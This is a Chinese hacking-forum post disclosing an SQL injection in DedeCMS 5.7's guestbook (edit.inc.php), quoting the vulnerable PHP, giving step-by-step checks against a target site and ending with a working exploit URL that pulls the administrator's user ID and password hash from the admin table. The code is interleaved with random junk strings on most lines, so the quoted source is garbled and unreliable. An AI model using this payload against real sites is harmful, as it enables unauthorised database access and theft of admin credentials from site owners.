找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3755|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
1 j- _+ ?, X' V
& `9 b, {1 I  \* q$ @2 V漏洞文件edit.inc.php具体代码:) G  z9 u' w  D  z0 {3 x
( c: \& c6 [# v4 o. C  u3 D1 X) L
< ?php  2 k  l& m! ?& o8 c+ \0 v

. f" q: g- }8 s9 \9 \, Z  ~5 o" E9 v; Aif(!defined('DEDEINC')) exit('Request Error!');  % I' z5 V- K# {( c+ J) ~# l

& y: z" Z0 T) a# U% @9 p$ C   , U, o* O" i# b! L9 N8 Q
" V4 r( ]; N) V! J$ v
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
' Q3 m2 V/ O  D* Y: I
! |$ J7 c4 \$ \8 n  belse $GUEST_BOOK_POS = "guestbook.php";  5 h% }* k8 {+ M- U; s9 P6 e

2 b5 a, G# ?/ r# D& T4 m4 G! d   3 C2 s# j( S- b/ V6 ^
* b+ Q' o& Y1 F4 {( s8 i
$id = intval($id);  8 d: \: F* p0 |1 j; i5 ^! V  F) c
) k% V1 ~! h% B6 l
if(empty($job)) $job='view';  : V* {6 D  D  x" \7 k

4 ?! G( P, z; c' W' h   5 ]1 Y# L3 |' s4 ~
/ I+ }4 I$ V; f& Y8 ~, S
if($job=='del' && $g_isadmin)  - t- G; P, f7 R
: A' {% Z& U. T& \& \. w! G; H
{  
) C1 R; n+ H$ K/ }! i+ h. s5 u) f; G: b1 M
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
) g# u  U. `0 X- i5 G1 ~# c+ h9 i7 w% I
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
1 V: o) q. K: O7 b: N( Q, i+ {1 q! Y6 g: Q' A/ S  T% ^
exit();  + `8 H1 s- J* I; i. ^
3 |! T5 a0 y  s& [& k/ s
}  5 ?7 G8 v7 w  E/ ?2 v" y

% |# y# H0 D1 ]# B5 _else if($job=='check' && $g_isadmin)  6 ]  ~, \0 S( ?3 g! G2 n* x

, ?2 K( w: m& K; L6 f3 Y5 K  D{  
; F) M( z$ U. f9 P9 y3 O/ g3 Y2 I+ i) \
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  7 K& _. M+ H; p% w! B. l0 I6 @

. d0 L0 A1 J! }' b1 YShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  0 C4 Z6 ~$ {4 R( l# }

  j" F) y/ x; |' v. x& @exit();  
# i: m" [9 F4 p! V& T2 i1 e
/ @/ r. k0 i9 I" V) ^. U}  5 ~& S- C5 |. e2 [
. [" j0 T4 Y3 S! O0 T
else if($job=='editok')  
! {. t& B3 t4 m& U6 `. e2 ~1 z" i; u) l; P2 J' ?' j% @' r- Z
{  # h0 W0 o: V$ y; i, _

2 k6 \2 P; v4 p) j+ b' K$remsg = trim($remsg);  
6 X+ ~; S3 m/ b# u7 O
& I) ]" v- e; N" xif($remsg!='')  : E# ~2 W+ N' n% }2 s6 y3 a3 t8 X

9 M# ?; z: @( T, u5 G! S, R# X! N{  
5 o/ g: u/ A0 O/ V  Y- J
2 [8 n' j6 O" k3 G//管理员回复不过滤HTML By:Errorera blog:errs.cc  
/ I) \- d" l3 h3 o& H( E
1 f. K1 y3 T; `. ~if($g_isadmin)  $ m& Y  W8 B& P& l" b6 i6 s- L% T
: d1 O4 N+ ~' L0 R
{  ( `- D7 I. j& j6 }3 B
) L% {/ ~- S( Y" x
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  4 G) P) _2 T& A: \) X9 |; t# y, b

: I1 h* B" [. Z1 B//$remsg <br /><font color=red>管理员回复:</font> }  - K8 }; o+ U7 o/ G7 M3 m8 b/ }

( U( j0 d+ ~, K; u  \else . y# W  m* q) _. \( B6 K

6 O! [: p: U) O$ U{  6 N' {& r% N( }, q4 i

7 W3 ?! N$ i  }1 a# F- k$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
) v3 S3 o2 a! N5 a' A" K. M  |, F2 f% M
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
6 s& J& ]: O% E* h  ]3 s
) L% q+ u$ [! {0 w# R  E0 L1 U, F$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  / Y, H% S( g( S, _9 z

, N$ a* Q: x& c/ ?. r2 l' d% I8 g! \$msg = $oldmsg.$remsg;  
/ z: ^6 ]  g  f4 P/ [; R* S+ y- t: w0 ?9 r) w5 r* p
}  
9 z7 D) r1 g/ I/ F% M7 C# }4 D- L1 U% W9 I# h! u: g  B
}  
# i, e5 j+ N2 D& W" G+ L3 H. O
1 l) H. i1 K/ |4 D$ j0 f7 W( Z//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
  M2 Z( `8 Y+ L6 C( y1 i3 e
3 S6 r2 [( b" L7 V/ ]: P# b$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
2 F0 Q4 L7 A" q! t# K# ~9 {% `* d8 V& \6 }) {& Y
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  % Z' m) {/ y" C
/ {2 ?% A1 G' c$ h# ]* `8 J: ?" U
exit();  
* y# {# j* x! Z! G- l+ V' T1 q3 o" H% f  O
}  
) W. d1 w: d  e
) D7 `. r. T) W" m! A' |) P//home:www.errs.cc  
/ g+ j* `+ ?9 J7 A7 @: D
& E4 G' ~( k6 m) ?if($g_isadmin)  
- J1 E/ A. b: N5 P1 \8 L2 L
  M  P5 d9 u  H& Q{  
  n  T9 L0 P5 E  e3 {+ q0 k3 V7 S; h% M1 \5 g% W: \- q: X
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
2 B6 L1 `1 k  ?- O& @$ p/ I' X" c4 k% v2 V8 D
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  % ~. t0 V! X2 a( m- o& d/ M
8 V" `" c( K1 y
}  8 T$ ?' _' }1 W4 |1 v

1 h, P/ }: \0 |. Z4 J. _else
' E  B* a) Y; S, @
. @  {6 o  t. ~  `4 X! @{  , ~( H% o3 Z. _
, r& @+ N. u% \4 B; `
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
( n$ G; ]- [, l" w  [! i
7 I& g2 [8 a* g, f2 n& v2 D+ |require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  4 z, \; d) R" t) l
! s$ H/ l/ t, v$ t! l
} 漏洞成功需要条件:9 \# _" ?" Z5 C
1. php magic_quotes_gpc=off
" W/ h- e) i/ C2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。+ P6 a' J( |# I/ ?4 H7 e- E! b" @

) x# C( U% \3 k& F怎么判断是否存在漏洞:
, b( c7 S- o- r0 L% j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
: H  w8 ~2 Z. d% Z$ ^5 N然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID7 F" W7 K2 p3 M, ^# ~' e; r
访问:
2 c2 v: m9 U& |7 m% l( a! }0 _
( n. u+ F/ T! Y: W  l0 f$ ewww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
" L  m2 d, c5 W7 }/ J跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
6 E% e9 P3 w8 g
6 v; n4 r  P0 ~. t6 P) d! e% K7 M' Q6 r4 S, u
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off' i, k5 j% h* W9 [
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
" C6 m/ T0 l9 v那么再次访问
+ ^& A8 R! M8 w0 ~# u1 Q. K( a+ c% }; a; I$ ]- `  w
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
$ D# Z' Q" g2 n  Q
9 y8 _" h6 [. e/ Z$ J3 h7 M大概利用就是这样,大家有兴趣的多研究下!!: h4 {5 N; V& S0 B  U5 T1 D

' v& E" d3 i4 p; J+ h* E  Y最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!, k8 l, ^) j3 t/ F6 n

, O2 M+ k; s9 c  Qview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表